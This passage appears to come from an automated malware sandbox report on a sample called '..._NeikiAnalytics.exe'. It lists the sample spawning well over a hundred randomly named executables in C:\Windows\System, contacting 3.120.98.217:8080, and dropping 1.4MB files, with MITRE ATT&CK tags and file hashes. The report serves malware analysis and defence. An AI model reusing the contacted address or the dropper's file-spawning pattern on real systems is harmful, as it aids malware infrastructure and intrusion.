  C:\Windows\System\GkteotM.exe
  2⤵
  PID:12752
- C:\Windows\System\wGtUAtk.exe
  C:\Windows\System\wGtUAtk.exe
  2⤵
  PID:12780
- C:\Windows\System\vJpnPJL.exe
  C:\Windows\System\vJpnPJL.exe
  2⤵
  PID:12796
- C:\Windows\System\IWpDdXx.exe
  C:\Windows\System\IWpDdXx.exe
  2⤵
  PID:12816
- C:\Windows\System\KUbFsos.exe
  C:\Windows\System\KUbFsos.exe
  2⤵
  PID:12836
- C:\Windows\System\AJLxuxs.exe
  C:\Windows\System\AJLxuxs.exe
  2⤵
  PID:12860
- C:\Windows\System\eByzEpv.exe
  C:\Windows\System\eByzEpv.exe
  2⤵
  PID:12880
- C:\Windows\System\vlmbdhB.exe
  C:\Windows\System\vlmbdhB.exe
  2⤵
  PID:12900
- C:\Windows\System\wgquuoa.exe
  C:\Windows\System\wgquuoa.exe
  2⤵
  PID:12928
- C:\Windows\System\qDVrCQw.exe
  C:\Windows\System\qDVrCQw.exe
  2⤵
  PID:12948
- C:\Windows\System\DNfGwBu.exe
  C:\Windows\System\DNfGwBu.exe
  2⤵
  PID:12972
- C:\Windows\System\WpVxwcp.exe
  C:\Windows\System\WpVxwcp.exe
  2⤵
  PID:12996
- C:\Windows\System\pfrZRaD.exe
  C:\Windows\System\pfrZRaD.exe
  2⤵
  PID:13012
- C:\Windows\System\xTeeJKV.exe
  C:\Windows\System\xTeeJKV.exe
  2⤵
  PID:13040
- C:\Windows\System\BQrtyFT.exe
  C:\Windows\System\BQrtyFT.exe
  2⤵
  PID:13060
- C:\Windows\System\uTyTLUM.exe
  C:\Windows\System\uTyTLUM.exe
  2⤵
  PID:13080
- C:\Windows\System\nIImOoG.exe
  C:\Windows\System\nIImOoG.exe
  2⤵
  PID:13100
- C:\Windows\System\hRfibUe.exe
  C:\Windows\System\hRfibUe.exe
  2⤵
  PID:13124
- C:\Windows\System\LhJkvkZ.exe
  C:\Windows\System\LhJkvkZ.exe
  2⤵
  PID:13144
- C:\Windows\System\SYYzxol.exe
  C:\Windows\System\SYYzxol.exe
  2⤵
  PID:13168
- C:\Windows\System\GwXmfQR.exe
  C:\Windows\System\GwXmfQR.exe
  2⤵
  PID:13192
- C:\Windows\System\SNHkLil.exe
  C:\Windows\System\SNHkLil.exe
  2⤵
  PID:13212
- C:\Windows\System\DKDjNhB.exe
  C:\Windows\System\DKDjNhB.exe
  2⤵
  PID:13236
- C:\Windows\System\jcHMitF.exe
  C:\Windows\System\jcHMitF.exe
  2⤵
  PID:13252
- C:\Windows\System\ONcTnGS.exe
  C:\Windows\System\ONcTnGS.exe
  2⤵
  PID:13276
- C:\Windows\System\iWqsvIJ.exe
  C:\Windows\System\iWqsvIJ.exe
  2⤵
  PID:13296
- C:\Windows\System\NJrouVM.exe
  C:\Windows\System\NJrouVM.exe
  2⤵
  PID:1764
- C:\Windows\System\cGASspA.exe
  C:\Windows\System\cGASspA.exe
  2⤵
  PID:9488
- C:\Windows\System\tmrqURT.exe
  C:\Windows\System\tmrqURT.exe
  2⤵
  PID:9556
- C:\Windows\System\XWnrYBu.exe
  C:\Windows\System\XWnrYBu.exe
  2⤵
  PID:9680
- C:\Windows\System\MuKpYHr.exe
  C:\Windows\System\MuKpYHr.exe
  2⤵
  PID:9836
- C:\Windows\System\PWGrFGY.exe
  C:\Windows\System\PWGrFGY.exe
  2⤵
  PID:9904
- C:\Windows\System\nAOjYiI.exe
  C:\Windows\System\nAOjYiI.exe
  2⤵
  PID:10000
- C:\Windows\System\goVaTvM.exe
  C:\Windows\System\goVaTvM.exe
  2⤵
  PID:10052
- C:\Windows\System\QQmDhXK.exe
  C:\Windows\System\QQmDhXK.exe
  2⤵
  PID:10204
- C:\Windows\System\QSwAueg.exe
  C:\Windows\System\QSwAueg.exe
  2⤵
  PID:10312
- C:\Windows\System\yqgghlz.exe
  C:\Windows\System\yqgghlz.exe
  2⤵
  PID:10592
- C:\Windows\System\HaEMsKK.exe
  C:\Windows\System\HaEMsKK.exe
  2⤵
  PID:10652
- C:\Windows\System\ukuiiHO.exe
  C:\Windows\System\ukuiiHO.exe
  2⤵
  PID:10692
- C:\Windows\System\ElIdCyN.exe
  C:\Windows\System\ElIdCyN.exe
  2⤵
  PID:13328
- C:\Windows\System\dPxzavJ.exe
  C:\Windows\System\dPxzavJ.exe
  2⤵
  PID:13352
- C:\Windows\System\tVBddfp.exe
  C:\Windows\System\tVBddfp.exe
  2⤵
  PID:13372
- C:\Windows\System\KVDmQGh.exe
  C:\Windows\System\KVDmQGh.exe
  2⤵
  PID:13400
- C:\Windows\System\pXEScjX.exe
  C:\Windows\System\pXEScjX.exe
  2⤵
  PID:13416
- C:\Windows\System\EiYFTFf.exe
  C:\Windows\System\EiYFTFf.exe
  2⤵
  PID:13432
- C:\Windows\System\LbsYeXZ.exe
  C:\Windows\System\LbsYeXZ.exe
  2⤵
  PID:13448
- C:\Windows\System\nMILgIO.exe
  C:\Windows\System\nMILgIO.exe
  2⤵
  PID:13464
- C:\Windows\System\JlHWrvt.exe
  C:\Windows\System\JlHWrvt.exe
  2⤵
  PID:13480
- C:\Windows\System\TqPBYox.exe
  C:\Windows\System\TqPBYox.exe
  2⤵
  PID:13496
- C:\Windows\System\RNaukOG.exe
  C:\Windows\System\RNaukOG.exe
  2⤵
  PID:13516
- C:\Windows\System\oKxGbND.exe
  C:\Windows\System\oKxGbND.exe
  2⤵
  PID:13532
- C:\Windows\System\dLVAYoV.exe
  C:\Windows\System\dLVAYoV.exe
  2⤵
  PID:13548
- C:\Windows\System\JGMERDY.exe
  C:\Windows\System\JGMERDY.exe
  2⤵
  PID:13572
- C:\Windows\System\OlMCgzU.exe
  C:\Windows\System\OlMCgzU.exe
  2⤵
  PID:13588
- C:\Windows\System\wprAJcJ.exe
  C:\Windows\System\wprAJcJ.exe
  2⤵
  PID:13616
- C:\Windows\System\JxHAOUj.exe
  C:\Windows\System\JxHAOUj.exe
  2⤵
  PID:13636
- C:\Windows\System\SrthEaD.exe
  C:\Windows\System\SrthEaD.exe
  2⤵
  PID:13656
- C:\Windows\System\DchPZME.exe
  C:\Windows\System\DchPZME.exe
  2⤵
  PID:13672
- C:\Windows\System\dJXXXuA.exe
  C:\Windows\System\dJXXXuA.exe
  2⤵
  PID:14136
- C:\Windows\System\JamcsUC.exe
  C:\Windows\System\JamcsUC.exe
  2⤵
  PID:14224
- C:\Windows\System\UntVejd.exe
  C:\Windows\System\UntVejd.exe
  2⤵
  PID:14240
- C:\Windows\System\ARXfWXM.exe
  C:\Windows\System\ARXfWXM.exe
  2⤵
  PID:14256
- C:\Windows\System\xsRKgAN.exe
  C:\Windows\System\xsRKgAN.exe
  2⤵
  PID:14272
- C:\Windows\System\TuLxXvF.exe
  C:\Windows\System\TuLxXvF.exe
  2⤵
  PID:14288
- C:\Windows\System\MggKrFM.exe
  C:\Windows\System\MggKrFM.exe
  2⤵
  PID:13808
- C:\Windows\System\aKcaPYL.exe
  C:\Windows\System\aKcaPYL.exe
  2⤵
  PID:9136
- C:\Windows\System\toFKser.exe
  C:\Windows\System\toFKser.exe
  2⤵
  PID:9160
- C:\Windows\System\RKugaed.exe
  C:\Windows\System\RKugaed.exe
  2⤵
  PID:11804
- C:\Windows\System\JWvOyZr.exe
  C:\Windows\System\JWvOyZr.exe
  2⤵
  PID:2468
- C:\Windows\System\bjBGRhi.exe
  C:\Windows\System\bjBGRhi.exe
  2⤵
  PID:4960
- C:\Windows\System\LMrHjwt.exe
  C:\Windows\System\LMrHjwt.exe
  2⤵
  PID:6500
- C:\Windows\System\vUlYQDa.exe
  C:\Windows\System\vUlYQDa.exe
  2⤵
  PID:6868
- C:\Windows\System\UnbarNr.exe
  C:\Windows\System\UnbarNr.exe
  2⤵
  PID:4736
- C:\Windows\System\eHMAyCW.exe
  C:\Windows\System\eHMAyCW.exe
  2⤵
  PID:11944
- C:\Windows\System\QHuhuUb.exe
  C:\Windows\System\QHuhuUb.exe
  2⤵
  PID:11996
- C:\Windows\System\DVxeaDe.exe
  C:\Windows\System\DVxeaDe.exe
  2⤵
  PID:4456
- C:\Windows\System\gmivHUj.exe
  C:\Windows\System\gmivHUj.exe
  2⤵
  PID:13964
- C:\Windows\System\uLDVTiS.exe
  C:\Windows\System\uLDVTiS.exe
  2⤵
  PID:12128
- C:\Windows\System\pVhcVQa.exe
  C:\Windows\System\pVhcVQa.exe
  2⤵
  PID:12184
- C:\Windows\System\EhEuial.exe
  C:\Windows\System\EhEuial.exe
  2⤵
  PID:7960
- C:\Windows\System\vyDFkiu.exe
  C:\Windows\System\vyDFkiu.exe
  2⤵
  PID:3084
- C:\Windows\System\tuCGebm.exe
  C:\Windows\System\tuCGebm.exe
  2⤵
  PID:2872
- C:\Windows\System\ogPPsqO.exe
  C:\Windows\System\ogPPsqO.exe
  2⤵
  PID:13904
- C:\Windows\System\DQFsGFE.exe
  C:\Windows\System\DQFsGFE.exe
  2⤵
  PID:12004
- C:\Windows\System\QXCrqZz.exe
  C:\Windows\System\QXCrqZz.exe
  2⤵
  PID:11824
- C:\Windows\System\FazdUzB.exe
  C:\Windows\System\FazdUzB.exe
  2⤵
  PID:11764
- C:\Windows\System\VPOQqma.exe
  C:\Windows\System\VPOQqma.exe
  2⤵
  PID:11724
- C:\Windows\System\cXwfsNo.exe
  C:\Windows\System\cXwfsNo.exe
  2⤵
  PID:11644
- C:\Windows\System\hDYNSqe.exe
  C:\Windows\System\hDYNSqe.exe
  2⤵
  PID:11552
- C:\Windows\System\VVvxMOn.exe
  C:\Windows\System\VVvxMOn.exe
  2⤵
  PID:11360
- C:\Windows\System\rMyOSgp.exe
  C:\Windows\System\rMyOSgp.exe
  2⤵
  PID:11160
- C:\Windows\System\LGmNnNb.exe
  C:\Windows\System\LGmNnNb.exe
  2⤵
  PID:11072
- C:\Windows\System\BWARITg.exe
  C:\Windows\System\BWARITg.exe
  2⤵
  PID:11016
- C:\Windows\System\paPBBpO.exe
  C:\Windows\System\paPBBpO.exe
  2⤵
  PID:10884
- C:\Windows\System\DMcwGRR.exe
  C:\Windows\System\DMcwGRR.exe
  2⤵
  PID:10780
- C:\Windows\System\kOaDPgj.exe
  C:\Windows\System\kOaDPgj.exe
  2⤵
  PID:10736
- C:\Windows\System\zclgUkR.exe
  C:\Windows\System\zclgUkR.exe
  2⤵
  PID:5024
- C:\Windows\System\aSqIuRG.exe
  C:\Windows\System\aSqIuRG.exe
  2⤵
  PID:10508
- C:\Windows\System\xYtpoJJ.exe
  C:\Windows\System\xYtpoJJ.exe
  2⤵
  PID:10484
- C:\Windows\System\VqhIrzj.exe
  C:\Windows\System\VqhIrzj.exe
  2⤵
  PID:10460
- C:\Windows\System\glFDaxm.exe
  C:\Windows\System\glFDaxm.exe
  2⤵
  PID:10380
- C:\Windows\System\YWVaHui.exe
  C:\Windows\System\YWVaHui.exe
  2⤵
  PID:10360
- C:\Windows\System\BOuHIBz.exe
  C:\Windows\System\BOuHIBz.exe
  2⤵
  PID:10276
- C:\Windows\System\MJRBDgk.exe
  C:\Windows\System\MJRBDgk.exe
  2⤵
  PID:10224
- C:\Windows\System\wLhVZoY.exe
  C:\Windows\System\wLhVZoY.exe
  2⤵
  PID:10180
- C:\Windows\System\UNkpveu.exe
  C:\Windows\System\UNkpveu.exe
  2⤵
  PID:10144
- C:\Windows\System\pqMwjfx.exe
  C:\Windows\System\pqMwjfx.exe
  2⤵
  PID:10076
- C:\Windows\System\yfqzcJm.exe
  C:\Windows\System\yfqzcJm.exe
  2⤵
  PID:9800
- C:\Windows\System\fHHvoXn.exe
  C:\Windows\System\fHHvoXn.exe
  2⤵
  PID:9744
- C:\Windows\System\oBYXQUn.exe
  C:\Windows\System\oBYXQUn.exe
  2⤵
  PID:9684
- C:\Windows\System\FrJoAqT.exe
  C:\Windows\System\FrJoAqT.exe
  2⤵
  PID:9636
- C:\Windows\System\ZwWobVP.exe
  C:\Windows\System\ZwWobVP.exe
  2⤵
  PID:9476
- C:\Windows\System\GLTqJwR.exe
  C:\Windows\System\GLTqJwR.exe
  2⤵
  PID:9396
- C:\Windows\System\JTknvjt.exe
  C:\Windows\System\JTknvjt.exe
  2⤵
  PID:9360
- C:\Windows\System\qyOqtkj.exe
  C:\Windows\System\qyOqtkj.exe
  2⤵
  PID:9332
- C:\Windows\System\eHQbAWb.exe
  C:\Windows\System\eHQbAWb.exe
  2⤵
  PID:9260
- C:\Windows\System\gyiCFXS.exe
  C:\Windows\System\gyiCFXS.exe
  2⤵
  PID:9220
- C:\Windows\System\NyhqGvH.exe
  C:\Windows\System\NyhqGvH.exe
  2⤵
  PID:8348
- C:\Windows\System\AYjfcdq.exe
  C:\Windows\System\AYjfcdq.exe
  2⤵
  PID:13136
- C:\Windows\System\zWxDNxu.exe
  C:\Windows\System\zWxDNxu.exe
  2⤵
  PID:13068
- C:\Windows\System\sQTzFSZ.exe
  C:\Windows\System\sQTzFSZ.exe
  2⤵
  PID:12708
- C:\Windows\System\BrWgeRE.exe
  C:\Windows\System\BrWgeRE.exe
  2⤵
  PID:14092
- C:\Windows\System\hQEFLPe.exe
  C:\Windows\System\hQEFLPe.exe
  2⤵
  PID:5676
- C:\Windows\System\IbwfHjS.exe
  C:\Windows\System\IbwfHjS.exe
  2⤵
  PID:11056
- C:\Windows\System\RebUrQu.exe
  C:\Windows\System\RebUrQu.exe
  2⤵
  PID:2896
- C:\Windows\System\xiFvpZS.exe
  C:\Windows\System\xiFvpZS.exe
  2⤵
  PID:6512
- C:\Windows\System\pBoroYA.exe
  C:\Windows\System\pBoroYA.exe
  2⤵
  PID:12808
- C:\Windows\System\crmyfMD.exe
  C:\Windows\System\crmyfMD.exe
  2⤵
  PID:11676
- C:\Windows\System\WwqvWCQ.exe
  C:\Windows\System\WwqvWCQ.exe
  2⤵
  PID:3056
- C:\Windows\System\TBhMYVg.exe
  C:\Windows\System\TBhMYVg.exe
  2⤵
  PID:12188
- C:\Windows\System\EwdyVoE.exe
  C:\Windows\System\EwdyVoE.exe
  2⤵
  PID:13932
- C:\Windows\System\CQkASQX.exe
  C:\Windows\System\CQkASQX.exe
  2⤵
  PID:11780
- C:\Windows\System\KAudnnM.exe
  C:\Windows\System\KAudnnM.exe
  2⤵
  PID:11148
- C:\Windows\System\wyRHYgM.exe
  C:\Windows\System\wyRHYgM.exe
  2⤵
  PID:14164
- C:\Windows\System\kltlZWb.exe
  C:\Windows\System\kltlZWb.exe
  2⤵
  PID:536
- C:\Windows\System\hSrCacf.exe
  C:\Windows\System\hSrCacf.exe
  2⤵
  PID:3008
- C:\Windows\System\yNbxXnx.exe
  C:\Windows\System\yNbxXnx.exe
  2⤵
  PID:12272
- C:\Windows\System\igSZuuY.exe
  C:\Windows\System\igSZuuY.exe
  2⤵
  PID:13392
- C:\Windows\System\WcHhFBw.exe
  C:\Windows\System\WcHhFBw.exe
  2⤵
  PID:12328
- C:\Windows\System\UWjegzT.exe
  C:\Windows\System\UWjegzT.exe
  2⤵
  PID:8580
- C:\Windows\System\mnKmOzU.exe
  C:\Windows\System\mnKmOzU.exe
  2⤵
  PID:8776
- C:\Windows\System\LDnSKvw.exe
  C:\Windows\System\LDnSKvw.exe
  2⤵
  PID:9440
- C:\Windows\System\zYXQYdD.exe
  C:\Windows\System\zYXQYdD.exe
  2⤵
  PID:8896
- C:\Windows\System\mTiRFjk.exe
  C:\Windows\System\mTiRFjk.exe
  2⤵
  PID:13996
- C:\Windows\System\QLaTNqM.exe
  C:\Windows\System\QLaTNqM.exe
  2⤵
  PID:9888
- C:\Windows\System\qtZmdTd.exe
  C:\Windows\System\qtZmdTd.exe
  2⤵
  PID:6312
- C:\Windows\System\OiSNxxH.exe
  C:\Windows\System\OiSNxxH.exe
  2⤵
  PID:13076
- C:\Windows\System\HZNRfCA.exe
  C:\Windows\System\HZNRfCA.exe
  2⤵
  PID:12744
- C:\Windows\System\dxNDwFV.exe
  C:\Windows\System\dxNDwFV.exe
  2⤵
  PID:3120
- C:\Windows\System\FusaauG.exe
  C:\Windows\System\FusaauG.exe
  2⤵
  PID:7580
- C:\Windows\System\MtdkCWA.exe
  C:\Windows\System\MtdkCWA.exe
  2⤵
  PID:6992
- C:\Windows\System\JHDbZCv.exe
  C:\Windows\System\JHDbZCv.exe
  2⤵
  PID:11452
- C:\Windows\System\FnBTvHn.exe
  C:\Windows\System\FnBTvHn.exe
  2⤵
  PID:7880
- C:\Windows\System\rapRTSN.exe
  C:\Windows\System\rapRTSN.exe
  2⤵
  PID:11496
- C:\Windows\System\RxLeBdn.exe
  C:\Windows\System\RxLeBdn.exe
  2⤵
  PID:8284
- C:\Windows\System\dtEWXdi.exe
  C:\Windows\System\dtEWXdi.exe
  2⤵
  PID:8796
- C:\Windows\System\DiBxffI.exe
  C:\Windows\System\DiBxffI.exe
  2⤵
  PID:5996
- C:\Windows\System\nsSXzPe.exe
  C:\Windows\System\nsSXzPe.exe
  2⤵
  PID:12132
- C:\Windows\System\MytuqxE.exe
  C:\Windows\System\MytuqxE.exe
  2⤵
  PID:9652
- C:\Windows\System\ZdutOkc.exe
  C:\Windows\System\ZdutOkc.exe
  2⤵
  PID:10420
- C:\Windows\System\RFcOnwd.exe
  C:\Windows\System\RFcOnwd.exe
  2⤵
  PID:10336
- C:\Windows\System\spbqAzs.exe
  C:\Windows\System\spbqAzs.exe
  2⤵
  PID:5460
- C:\Windows\System\HiwDAdo.exe
  C:\Windows\System\HiwDAdo.exe
  2⤵
  PID:10804
- C:\Windows\System\CmAWzQx.exe
  C:\Windows\System\CmAWzQx.exe
  2⤵
  PID:8548
- C:\Windows\System\LpfxwLp.exe
  C:\Windows\System\LpfxwLp.exe
  2⤵
  PID:14304
- C:\Windows\System\MdaYhCY.exe
  C:\Windows\System\MdaYhCY.exe
  2⤵
  PID:7840
- C:\Windows\System\bstOjvj.exe
  C:\Windows\System\bstOjvj.exe
  2⤵
  PID:9704
- C:\Windows\System\LKLiXJQ.exe
  C:\Windows\System\LKLiXJQ.exe
  2⤵
  PID:1588
- C:\Windows\System\vSWOWBZ.exe
  C:\Windows\System\vSWOWBZ.exe
  2⤵
  PID:11172
- C:\Windows\System\wbZUzOS.exe
  C:\Windows\System\wbZUzOS.exe
  2⤵
  PID:9328
- C:\Windows\System\QLWUwiT.exe
  C:\Windows\System\QLWUwiT.exe
  2⤵
  PID:6224
- C:\Windows\System\qYpmYmq.exe
  C:\Windows\System\qYpmYmq.exe
  2⤵
  PID:4664
- C:\Windows\System\ldclGrn.exe
  C:\Windows\System\ldclGrn.exe
  2⤵
  PID:10372
- C:\Windows\System\HZwFZTh.exe
  C:\Windows\System\HZwFZTh.exe
  2⤵
  PID:5776
- C:\Windows\System\tbHIoOo.exe
  C:\Windows\System\tbHIoOo.exe
  2⤵
  PID:12068
- C:\Windows\System\ypdsgIm.exe
  C:\Windows\System\ypdsgIm.exe
  2⤵
  PID:5352
- C:\Windows\System\KsfWTlr.exe
  C:\Windows\System\KsfWTlr.exe
  2⤵
  PID:6392
- C:\Windows\System\ReQSCKh.exe
  C:\Windows\System\ReQSCKh.exe
  2⤵
  PID:10968
- C:\Windows\System\cevJOBP.exe
  C:\Windows\System\cevJOBP.exe
  2⤵
  PID:10500
- C:\Windows\System\lEtTiwG.exe
  C:\Windows\System\lEtTiwG.exe
  2⤵
  PID:13584
- C:\Windows\System\woxAuoV.exe
  C:\Windows\System\woxAuoV.exe
  2⤵
  PID:8356
- C:\Windows\System\hfqxGTV.exe
  C:\Windows\System\hfqxGTV.exe
  2⤵
  PID:13164
- C:\Windows\System\znKcTGn.exe
  C:\Windows\System\znKcTGn.exe
  2⤵
  PID:9312
- C:\Windows\System\EOhODWh.exe
  C:\Windows\System\EOhODWh.exe
  2⤵
  PID:11960
- C:\Windows\System\CaCtMMM.exe
  C:\Windows\System\CaCtMMM.exe
  2⤵
  PID:428
- C:\Windows\System\ohAuOaJ.exe
  C:\Windows\System\ohAuOaJ.exe
  2⤵
  PID:12944
- C:\Windows\System\mTHznce.exe
  C:\Windows\System\mTHznce.exe
  2⤵
  PID:8760
- C:\Windows\System\sjVpaWH.exe
  C:\Windows\System\sjVpaWH.exe
  2⤵
  PID:12556
- C:\Windows\System\SZeXKUL.exe
  C:\Windows\System\SZeXKUL.exe
  2⤵
  PID:636
- C:\Windows\System\SgTiWlz.exe
  C:\Windows\System\SgTiWlz.exe
  2⤵
  PID:10936
- C:\Windows\System\LHAPdcX.exe
  C:\Windows\System\LHAPdcX.exe
  2⤵
  PID:10820
- C:\Windows\System\FrdZart.exe
  C:\Windows\System\FrdZart.exe
  2⤵
  PID:10784
- C:\Windows\System\AuuuQLu.exe
  C:\Windows\System\AuuuQLu.exe
  2⤵
  PID:9380
- C:\Windows\System\OBZomiG.exe
  C:\Windows\System\OBZomiG.exe
  2⤵
  PID:10948
- C:\Windows\System\QjWSwfX.exe
  C:\Windows\System\QjWSwfX.exe
  2⤵
  PID:13988
- C:\Windows\System\sPzDBpj.exe
  C:\Windows\System\sPzDBpj.exe
  2⤵
  PID:11964
- C:\Windows\System\OUAsrqU.exe
  C:\Windows\System\OUAsrqU.exe
  2⤵
  PID:11476
- C:\Windows\System\uYEVbLQ.exe
  C:\Windows\System\uYEVbLQ.exe
  2⤵
  PID:9252
- C:\Windows\System\ZdRfkgj.exe
  C:\Windows\System\ZdRfkgj.exe
  2⤵
  PID:4792
- C:\Windows\System\mAkROIi.exe
  C:\Windows\System\mAkROIi.exe
  2⤵
  PID:372
- C:\Windows\System\EfopTam.exe
  C:\Windows\System\EfopTam.exe
  2⤵
  PID:11844

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 12184 -ip 12184
1⤵
PID:6392

Network

No results found

3.120.98.217:8080

2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe

260 B
5

No results found

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2fmnmfpt.jys.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\ATxoODW.exe

Filesize
1.4MB

MD5
4c0a7440ea833e94bacbb2d4bfcbf62e

SHA1
fb5e131a4f40d9b77b758bec80f3134601128439

SHA256
8c9100a242bc6c09aeee3637ebe37b966fb3e028834ea599115cd0b977d81194

SHA512
56800988e1326ebef12aaa7da83d5323f35486fcce41f830b755d3ceca2c8aadff893e6af821d994a5c241c3757327e8f46805ad7498eb13835b5ce25f4c496f

Download Submit
C:\Windows\System\AUVKqgU.exe

Filesize
1.4MB

MD5
95bc1ce3a12f88ce8444e96faf2d9367

SHA1
47982fd057ecdf1228be7b486268cbb1e8978ee4

SHA256
2af7c030b22f48fdac5e73c413415de5c0e987c54b2f9efebc07713b7b0660a4

SHA512
c65b8e9e9877ae482b9aea3246f1f30395712b69cddccd0b46b63e80c9b9a4900e4003e6df48560428ceebd889e1aa068abacd6de0f8dc175b7003f687671e67

Download Submit
C:\Windows\System\DFpYnLS.exe

Filesize
1.4MB

MD5
b92dac8e87b43c1e052e286d92efa4a0

SHA1
fcbb5782e1bc94c32671b04d6aff1f38381e9272

SHA256
2250d78fa6bcc42f3ff5fdce91266775983ccbd652997db448823b976c4cb109

SHA512
5401a7f0513635520bfac419afa48f09ff87694a5a4b9bfbc177571d42c26be2ff8fe2877c5f443c9bfea0dc677723cc22c17e2263ceeed3f54c406a44e433df

Download Submit
C:\Windows\System\FbbThNt.exe

Filesize
1.4MB

MD5
a44e98b05e1e94b4c44ab73167350630

SHA1
0928a065c7649b5433b107349bc5f15ae13d49ac

SHA256
1929e1f9376d82b23464d5949c6c1b5ac510ed6e602ac253c89184c1580abfec

SHA512
31e7a3116c70164e229aaedee94f1b230b2542fb9e9e3e191fab2b80771ad1435c82fdbe2597d86ff1823dd00ed17c98042f0e333169d2b3b70a7b87e8dd3d8f

Download Submit
C:\Windows\System\GlICQOG.exe

Filesize
1.4MB

MD5
5a966ec55a2b6091cd4ef5576d28ad3d

SHA1
374b4a3e0983e337e7893bcff732b4f8dcfbed89

SHA256
32755eea7d1132ba6ceac7da923936b2cfc1b503c145284a78bdab00eaa2b602

SHA512
1264e8f3e8346f5014c2c6eba014bc7bedf61e0bce346397ade673c8edc1186338e4439d044f01c8566027d6e3f6bc2736ae5fbc35f76190b84ccb0ed1721fb8

Download Submit
C:\Windows\System\HdrTqMa.exe

Filesize
1.4MB

MD5
ef03789729e0f13840412d1410b6a07c

SHA1
96d8a329f2ee45129836e7807fd1ac556cc9a0cc

SHA256
3e6b5435089e41d5334bd514737ba7cc0e1701556b87fd91651c3c7d3baca5f3

SHA512
3fc241ab115d6760346518638eeab94e5d5dab78907a3c641536fff10fe69347064625c447a73b3c2d8be7d0792a6943e71012a216744bf3ba2b34d5ee98b67b

Download Submit
C:\Windows\System\IGXFAir.exe

Filesize
1.4MB

MD5
4e7e024f0da6f32561290e90ef5147de

SHA1
feb979e0739b3b1c5461591e01462b3f5d277b95

SHA256
575f0ca0097baaf6a95195764fa49cec5467e25f901d1e3956a5426e9dc6bd3c

SHA512
3095e81a0f3c4e82fc1570af235040a274b5b6e440dc92e951a33f39442964c91e745613180acd67fe029fa45cf2d0dba7ec6b9aab37269ffba27c2108e09d5c

Download Submit
C:\Windows\System\Ivfwnsn.exe

Filesize
1.4MB

MD5
5db9e0ec6f53fe45642d3f462aa09919

SHA1
9c068d8142b60dfe6a642c4519739df0803fb726

SHA256
2ee0e247b3bc5c2af94ccd5ebcdb8045f13ecc2869a8a8d79bfd179f6fe15c83

SHA512
264ab2b7fa85becc90bd17211d4216fbb0cb2416fadfc95e4f5d92067f1d8f7c4ffc36db281b97ea023f193d427b1798ac1638be65eb149d814c454611da4e26

Download Submit
C:\Windows\System\JCrRaBy.exe

Filesize
1.4MB

MD5
2ea935f446f3969bf283819f259322cf

SHA1
e6c681cfa8dc93c0c4f2e9082a4d033ab26dc7e0

SHA256
aab4223c1540fcf7dbd5810b27e07898b1e5eb5a4e61b70622af19fca108334d

SHA512
7f13856c0bda183c13df5b51cc97f3405bf30d0205bd49afd844022ba65d900d17a4bab197ca55bd26b24948c11ea787b9f8fb371c370b0df5e7713b1b4b793f

Download Submit
C:\Windows\System\JLkSmWt.exe

Filesize
1.4MB

MD5
75dfad828272b691132c853499125a6a

SHA1
dac819e1cd759af4e0dca72260f1380c705b364f

SHA256
992fe79fb16fea210c3f2fd47d41ef67b6fcfcd877f445708ca68ecaf0a2ee41

SHA512
2124ad7395d49c23a1650070e64082a6d2bacceac26fc67e3006252c90a7bd4b0efddb893b1df743d3d707d43d821ffd5e0d44984c66d97a3a63ced983c6913a

Download Submit
C:\Windows\System\JMkHHFc.exe

Filesize
1.4MB

MD5
1f4c7ca0612f36d0ddc9497b64552bbe

SHA1
5904758f2ccf4b7e453284825a3c5d4678f3c816

SHA256
77bcad602a421f1b9dd105e5d07ec0886b23fa7eb29572f1aa308d76bcf7d065

SHA512
597ab44480a69dcb60f4fdfcc109a6f5202dfb168ba4bb912b07d3777f48e1ea134c666811732e66c22a6a948dda061c118b972a3a64216c9b7fc3ccb5a5f955

Download Submit
C:\Windows\System\KPqbfjm.exe

Filesize
1.4MB

MD5
8db84a148f82fc96bed82e63a0957340

SHA1
43a343a68f7e4c13364c6a4045828080232656ec

SHA256
961c944319bb237b8af178268e7c8f12056329db350458696d17f3086030c4d7

SHA512
8fce8705cca34c9c5848984b624b11a87e64a626ab56d6fd14b8a8dcb728b28bca05f0664a2adef15c1fc98d323c0ec50222566e9334142c1caa2d89521a46c7

Download Submit
C:\Windows\System\KfZMlpi.exe

Filesize
1.4MB

MD5
b8532a2abf3e44f6f78e3b217521f1a3

SHA1
34aa19a4e63968a2621e2d7c12f5f77bd35a153a

SHA256
8ccad20996a46c52f05b0e72f68b4f12384aa161a05b7b81a5254b1341cd7820

SHA512
90b4bf0129536bc074778f424f8cdd4a0b16a087fcf432694cca41a75c0905ce17e8994ab57b9b2b904c01698c700c84be02851a27bd3d8ca3696ecde3ccb19e

Download Submit
C:\Windows\System\MYnjCVc.exe

Filesize
1.4MB

MD5
d0b2c18a72bbd011841314986efeb4b9

SHA1
6ea2d630cb87a92d73aba3a30d6ba7384be807d0

SHA256
6af56ff7a5d0c0c3d791d5033213d27a3834076ef39597ca98e25115212e5ca4

SHA512
0d666a18bedbe618a512c04ff5b8172d46c78cd05a146c25aefaaba172181b4239cc3df0ef7ecb892eee95279b2c9f5155159a5226e4d1e4d00fb84c3b005ddf

Download Submit
C:\Windows\System\MdELikS.exe

Filesize
1.4MB

MD5
7505ca79862725d83faa6cb1a26f1689

SHA1
67956d3b878f6a0b5ed4058556bfb94eeef5cc46

SHA256
e37015cea445d5cbc3f1754eff25a988b36a7462c74d2ea141035de605429e3f

SHA512
de2bff071027415abaf8d4cdfaa257a49c3c91bf6095c721c896b45653202656ca400a9c34a364b6ecce7da4d0706a395f57d91a87823bdccbe0a30ecda0b342

Download Submit
C:\Windows\System\OPqExtV.exe

Filesize
1.4MB

MD5
4e7950380f468e9e83eeacef9cb9caa6

SHA1
